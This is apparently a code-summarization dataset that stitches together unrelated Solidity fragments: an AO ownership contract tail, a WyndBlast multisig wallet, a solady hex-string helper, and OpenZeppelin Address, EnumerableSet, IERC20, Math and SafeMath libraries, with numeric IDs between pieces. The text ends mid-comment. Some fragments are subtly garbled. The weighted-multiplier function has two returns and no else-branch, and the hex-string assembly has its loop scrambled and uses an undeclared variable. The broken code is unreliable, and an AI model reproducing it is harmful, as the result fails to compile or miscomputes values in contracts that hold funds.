the Human inside Humanity.'; who = 'You. Set the world, Free. – Truth'; aSign = '08e2c4e1ccf3bccfb3b8eef14679b28442649a2a733960661210a0b00d9c93bf'; logos = '0920c6ab1848df83a332a21e8c9ec1a393e694c396b872aee053722d023e2a32'; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev Set `where` value * @param _where The new value to be set */ function setWhere(address _where) public onlyTheAO { where = _where; } }
Calculate the new weighted multiplier when adding `_additionalPrimordialAmount` at `_additionalWeightedMultiplier` to the current `_currentPrimordialBalance` at `_currentWeightedMultiplier` _currentWeightedMultiplier Account's current weighted multiplier _currentPrimordialBalance Account's current primordial token balance _additionalWeightedMultiplier The weighted multiplier to be added _additionalPrimordialAmount The primordial token amount to be added return the new primordial weighted multiplier/
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) { if (_currentWeightedMultiplier > 0) { uint256 _totalWeightedTokens = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount)); uint256 _totalTokens = _currentPrimordialBalance.add(_additionalPrimordialAmount); return _totalWeightedTokens.div(_totalTokens); return _additionalWeightedMultiplier; } }
10,007,652
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. * @author WyndBlast Team Developer */ contract WBMultiSigWallet { event WalletAdded( uint indexed walletIndex, address walletContract, string name, string symbol ); event WalletUpdated( uint indexed walletIndex, address walletContract, string name, string symbol ); event Deposit( address sender, uint indexed amount, uint indexed balance ); event SubmitTransaction( address owner, uint indexed walletIndex, uint indexed txIndex, address to, uint value, bytes data ); event ConfirmTransaction( address owner, uint indexed walletIndex, uint indexed txIndex ); event RevokeConfirmation( address owner, uint indexed walletIndex, uint indexed txIndex ); event ExecuteTransaction( address indexed owner, uint indexed walletIndex, uint indexed txIndex ); event DailyLimitChange(uint indexed walletIndex, uint indexed dailyLimit); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address[] public owners; address private deployer; mapping(address => bool) public isOwner; uint public numConfirmationsRequired; uint constant public MAX_OWNER_COUNT = 50; struct Transaction { address to; uint value; bytes data; bool executed; uint numConfirmations; } mapping(uint => mapping(uint => mapping(address => bool))) public isConfirmed; mapping(uint => Transaction[]) public transactions; struct Wallet { address contractAddress; string name; string symbol; uint256 dailyLimit; uint256 lastDay; uint256 spentToday; } Wallet[] public wallets; modifier validAddress(address _address) { require(_address != address(0), "Address is nulled"); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "Invalid requirement"); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner], "Owner exists"); _; } modifier ownerExists(address owner) { require(isOwner[owner], "Owner is not exists"); _; } modifier onlyDeployer() { require(deployer == msg.sender, "Caller is not the deployer"); _; } modifier isDeployer(address owner) { require(owner != deployer, "Can't remove deployer"); _; } modifier onlyOwner() { require(isOwner[msg.sender] || deployer == msg.sender, "Unauthorized caller"); _; } modifier txExists(uint _walletIndex, uint _txIndex) { require(_txIndex < transactions[_walletIndex].length, "Transaction does not exist"); _; } modifier notExecuted(uint _walletIndex, uint _txIndex) { require(!transactions[_walletIndex][_txIndex].executed, "Transaction already executed"); _; } modifier notConfirmed(uint _walletIndex, uint _txIndex) { require(!isConfirmed[_walletIndex][_txIndex][msg.sender], "Transaction already confirmed"); _; } /** * @notice Default number of required confirmation is 1. * Default daily limit is 1000000000000000000 wei */ constructor() { _transferOwnership(msg.sender); address owner = msg.sender; isOwner[owner] = true; owners.push(owner); numConfirmationsRequired = 1; /// set default avax wallet addWallet(address(this), "Avax C-Chain", "AVAX", 1000); } /** * @dev Internal check to make sure that amount is under limit * @return boolean */ function _isUnderLimit(uint walletIndex, uint amount) internal returns (bool) { Wallet storage wallet = wallets[walletIndex]; if (block.timestamp > wallet.lastDay + 24 hours) { wallet.lastDay = block.timestamp; wallet.spentToday = 0; } if (wallet.spentToday + amount > wallet.dailyLimit || wallet.spentToday + amount < wallet.spentToday) { return false; } return true; } /** * @notice Receive deposit of token */ receive() external payable { emit Deposit(msg.sender, msg.value, address(this).balance); } /** * -------------------------------------------------------------------------------------- * -------------------------------- OWNER FUNCTIONS ------------------------------------- * -------------------------------------------------------------------------------------- */ /** * @notice Execute transaction, payout to recipient address * @param walletIndex Wallet index * @param _to Recipient wallet address * @param _value Amount of token in wei * @param _data Some data that converted in to hex format */ function submitTransaction( uint walletIndex, address _to, uint _value, bytes memory _data ) public onlyOwner { uint txIndex = transactions[walletIndex].length; transactions[walletIndex].push( Transaction({ to: _to, value: _value, data: _data, executed: false, numConfirmations: 0 }) ); emit SubmitTransaction(msg.sender, walletIndex, txIndex, _to, _value, _data); } /** * @notice Confirm transaction or approve transaction by sender * @param _walletIndex Wallet index * @param _txIndex Transaction index */ function confirmTransaction(uint _walletIndex, uint _txIndex) public onlyOwner txExists(_walletIndex, _txIndex) notExecuted(_walletIndex, _txIndex) notConfirmed(_walletIndex, _txIndex) { Transaction storage transaction = transactions[_walletIndex][_txIndex]; transaction.numConfirmations += 1; isConfirmed[_walletIndex][_txIndex][msg.sender] = true; emit ConfirmTransaction(msg.sender, _walletIndex, _txIndex); } /** * @notice Execute transaction, payout to recipient address * @param _walletIndex Wallet index * @param _txIndex Transaction index */ function executeTransaction(uint _walletIndex, uint _txIndex) public onlyOwner txExists(_walletIndex, _txIndex) notExecuted(_walletIndex, _txIndex) { Wallet storage wallet = wallets[_walletIndex]; Transaction storage transaction = transactions[_walletIndex][_txIndex]; require(transaction.numConfirmations >= numConfirmationsRequired, "Cannot execute transaction"); require(_isUnderLimit(_walletIndex, transaction.value), "Maximum daily limit"); transaction.executed = true; wallet.spentToday += transaction.value; bool paymenStatus = false; if (_walletIndex == 0) { (bool success, ) = transaction.to.call{value: transaction.value}( transaction.data ); paymenStatus = success; } else { (bool success) = IERC20(wallet.contractAddress).transfer(transaction.to, transaction.value); paymenStatus = success; } if (!paymenStatus) { transaction.executed = false; wallet.spentToday -= transaction.value; } require(paymenStatus, "Failed or insufficent funds"); emit ExecuteTransaction(msg.sender, _walletIndex, _txIndex); } /** * @notice Revoke confirmed transaction * @param _walletIndex Wallet index * @param _txIndex Transaction index */ function revokeConfirmation(uint _walletIndex, uint _txIndex) public onlyOwner txExists(_walletIndex, _txIndex) notExecuted(_walletIndex, _txIndex) { Transaction storage transaction = transactions[_walletIndex][_txIndex]; require(isConfirmed[_walletIndex][_txIndex][msg.sender], "Transaction not confirmed"); transaction.numConfirmations -= 1; isConfirmed[_walletIndex][_txIndex][msg.sender] = false; emit RevokeConfirmation(msg.sender, _walletIndex, _txIndex); } /** * -------------------------------------------------------------------------------------- * -------------------------------- PUBLIC FUNCTIONS ------------------------------------ * -------------------------------------------------------------------------------------- */ /** * @notice Get owner addresses */ function getOwners() public view returns (address[] memory) { return owners; } /** * @notice Get wallet address */ function getWallets() public view returns (Wallet[] memory) { return wallets; } /** * @notice Get transaction count */ function getTransactionCount(uint _walletIndex) public view returns (uint) { return transactions[_walletIndex].length; } /** * @notice Get transaction details * @param _walletIndex Wallet index * @param _txIndex Transaction index */ function getTransaction(uint _walletIndex, uint _txIndex) public view returns ( address to, uint value, bytes memory data, bool executed, uint numConfirmations ) { Transaction storage transaction = transactions[_walletIndex][_txIndex]; return ( transaction.to, transaction.value, transaction.data, transaction.executed, transaction.numConfirmations ); } /** * @notice Get transactions * @param _walletIndex Wallet index * @return Transaction array */ function getTransactions(uint _walletIndex) public view returns (Transaction[] memory) { return transactions[_walletIndex]; } /** * @notice Get contract balance */ function getBalance(uint _walletIndex) public view returns (uint256) { Wallet storage wallet = wallets[_walletIndex]; if (_walletIndex == 0) { return address(this).balance; } else { return IERC20(wallet.contractAddress).balanceOf(address(this)); } } /** * @notice Get maximum withdraw amount. * @return Maximum amount today */ function calcMaxWithdraw(uint _walletIndex) public view returns (uint) { Wallet storage wallet = wallets[_walletIndex]; if (block.timestamp > wallet.lastDay + 24 hours) { return wallet.dailyLimit; } if (wallet.dailyLimit < wallet.spentToday) { return 0; } return wallet.dailyLimit - wallet.spentToday; } /** * @notice Get current deployer as owner of contract */ function getDeployer() public view returns (address) { return deployer; } /** * -------------------------------------------------------------------------------------- * ------------------------------ DEPLOYER FUNCTIONS ------------------------------------ * -------------------------------------------------------------------------------------- */ /** * @notice Change daily limit * @param _walletIndex Wallet index * @param _dailyLimit Max of amount in wei */ function changeDailyLimit(uint _walletIndex, uint _dailyLimit) public onlyDeployer { Wallet storage wallet = wallets[_walletIndex]; wallet.dailyLimit = _dailyLimit; emit DailyLimitChange(_walletIndex, _dailyLimit); } /** * @notice Add new owner * @param _owner Wallet address */ function addOwner(address _owner) public onlyDeployer ownerDoesNotExist(_owner) validAddress(_owner) validRequirement(owners.length + 1, numConfirmationsRequired) { isOwner[_owner] = true; owners.push(_owner); emit OwnerAddition(_owner); } /** * @notice Remove owner from owners array * @param _owner Owner address */ function removeOwner(address _owner) public onlyDeployer ownerExists(_owner) isDeployer(_owner) { isOwner[_owner] = false; for (uint i = 0; i < owners.length - 1; i++) { if (owners[i] == _owner) { owners[i] = owners[owners.length - 1]; break; } } owners.pop(); if (numConfirmationsRequired > owners.length) { changeRequirement(owners.length); } emit OwnerRemoval(_owner); } /** * @notice Change number of required confirmation * @param _required Number of required confirmation */ function changeRequirement(uint _required) public onlyDeployer validRequirement(owners.length, _required) { numConfirmationsRequired = _required; emit RequirementChange(_required); } /** * @notice Leaves the contract without owner. It will not be possible to call * `onlyDeployer` functions anymore. Can only be called by the current owner. */ function renounceOwnership() public onlyDeployer { _transferOwnership(address(0)); } /** * @notice Transfers ownership of the contract to a new account * @param newOwner New owner address */ function transferOwnership(address newOwner) public onlyDeployer { require(newOwner != address(0), "Invalid new owner"); _transferOwnership(newOwner); } /** * @notice Transfers ownership of the contract to a new account * @param newOwner New owner address */ function _transferOwnership(address newOwner) internal { address oldOwner = deployer; deployer = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @notice Add new wallet * @param _contractAddress Token contract address * @param _name Token name * @param _symbol Token symbol * @param _dailyLimit Daily limit */ function addWallet( address _contractAddress, string memory _name, string memory _symbol, uint256 _dailyLimit ) public onlyDeployer { uint walletIndex = wallets.length; wallets.push(Wallet(_contractAddress, _name, _symbol, _dailyLimit, 0, 0)); emit WalletAdded(walletIndex, _contractAddress, _name, _symbol); } /** * @notice Update wallet * @param _walletIndex Wallet index * @param _contractAddress Token contract address * @param _name Token name * @param _symbol Token symbol * @param _dailyLimit Daily limit */ function updateWallet( uint _walletIndex, address _contractAddress, string memory _name, string memory _symbol, uint256 _dailyLimit ) public onlyDeployer { uint walletIndex = wallets.length; Wallet storage wallet = wallets[_walletIndex]; wallet.contractAddress = _contractAddress; wallet.name = _name; wallet.symbol = _symbol; wallet.dailyLimit = _dailyLimit; emit WalletUpdated(walletIndex, _contractAddress, _name, _symbol); } }
Get wallet address/
function getWallets() public view returns (Wallet[] memory) { return wallets; }
15,802,412
./full_match/80001/0x809420EEE145CE61be213Bd4AE40885cE8b11E8e/sources/solady/src/utils/LibString.sol
Returns the hexadecimal representation of `value`. The output is encoded using 2 hexadecimal digits per byte.
function toHexStringNoPrefix(address value) internal pure returns (string memory str) { assembly { str := mload(0x40) mstore(0x40, add(str, 0x80)) mstore(0x0f, 0x30313233343536373839616263646566) str := add(str, 2) mstore(str, 40) let o := add(str, 0x20) mstore(add(o, 40), 0) value := shl(96, value) let p := add(o, add(i, i)) let temp := byte(i, value) mstore8(add(p, 1), mload(and(temp, 15))) mstore8(p, mload(shr(4, temp))) i := add(i, 1) } for { let i := 0 } 1 {} { if eq(i, 20) { break } }
840,084
/** *Submitted for verification at Etherscan.io on 2021-09-08 */ // SPDX-License-Identifier: NONE pragma solidity 0.6.2; // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/EnumerableSet /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // Part: OpenZeppelin/[email protected]/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/[email protected]/Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the 